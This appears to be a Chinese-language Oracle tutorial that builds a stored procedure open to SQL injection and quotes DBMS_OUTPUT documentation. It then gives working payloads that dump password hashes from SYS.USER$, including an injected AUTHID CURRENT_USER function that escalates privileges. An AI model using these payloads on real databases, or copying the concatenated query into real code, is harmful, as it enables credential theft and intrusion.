ORACLE中檢視使用者的庫函式資訊

建立儲存過程：

CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = '''
|| P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';
LOOP
FETCH CV INTO buffer;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/

關於DBMS_OUTPUT.ENABLE的作用下面引一篇洋文來進行解釋：

TThe ENABLE procedure enables calls to the other DBMS_OUTPUT modules. If you do not first call ENABLE, then any other calls to the package modules are ignored. The specification for the procedure is,

PROCEDURE DBMS_OUTPUT.ENABLE
(buffer_size IN INTEGER DEFAULT 20000);

buffer_size The size of the buffer that will contain the information stored by calls to PUT and PUT_LINE. The buffer size can be as large as 1,000,000 bytes. You can pass larger values to this procedure without raising an error, but doing so will have no effect besides setting the buffer size to its maximum.

You can call ENABLE more than once in a session. The buffer size will be set to the largest size passed in any call to ENABLE. In other words, the buffer size is not necessarily set to the size specified in the last call.

If you want to make sure that the DBMS_OUTPUT package is enabled in a program you are testing, add a statement like this one to the start of the program:

DECLARE
... declarations ...
BEGIN
DBMS_OUTPUT.ENABLE (1000000);
...
END;

Remarks

This procedure call is not necessary when testing in a SQL*Plus environment. However, To enable output from calls to PUT_LINE in SQL*Plus, you will use the SET SERVEROUTPUT command,

SQL> SET SERVEROUTPUT ON

to see your results. This procedure is only required when you are using DBMS_OUTPUT to capture data in a client/server mode or a precompiler language program. Any PUT/GET calls prior to ENABLE are a no-op.

In a precompiler program - for testing only - the main program will most likely call ENABLE as part of program initialization. At various points within the application there may be triggers and stored procedures that call PUT_LINE. The main C (or other language) program or its subroutines will make calls to GET_LINE to capture the data written to DBMS_OUTPUT - these calls are made following the actions (SQL statements or stored procedure calls) that activated the calls to PUT_LINE. Having called GET_LINE, the main program can print the data captured.

Debugging a difficult problem may require going back to a unit test mode and testing a stored procedure from SQL*Plus.

When the buffer overflows an exception (-20000) is raised. When this occurs there are several options:

w Increase the size of the DBMS_OUTPUT buffer to 1,000,000
w Try filtering the data written to the buffer - possibly there is a loop that writes to DBMS_OUTPUT and you do not need this data.
w Call ENABLE at various checkpoints within your code. Each call will clear the buffer.
w Use an alternate debug interface to DBMS_OUTPUT.

接下來我們要如何來呼叫我們建立的儲存過程呢？

SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES('SYS');

再來看個注入的呼叫：

SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES('FOO'' UNION SELECT PASSWORD FROM SYS.USER$--');

此時就可以返回SYS.USER$表中每個使用者的密碼的雜湊值了。

[@more@]

進一步地，透過之前的儲存過程呼叫我們自定義的函式進行注入：

CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID CURRENT_USER AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
U VARCHAR2(200);
P VARCHAR2(200);
N NUMBER;
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
      OPEN CV FOR 'SELECT USER#,NAME,PASSWORD FROM SYS.USER$';
      LOOP
            FETCH CV INTO N,U,P;
            DBMS_OUTPUT.PUT_LINE('USER#: ' || N  || ' NAME ' || U || ' PWD ' || P);
            EXIT WHEN CV%NOTFOUND;
      END LOOP;
      CLOSE CV;
      RETURN 'FOO';
END;

呼叫方法：

EXEC SYS.LIST_LIBRARIES('FOO'' || SCOTT.GET_USERS--');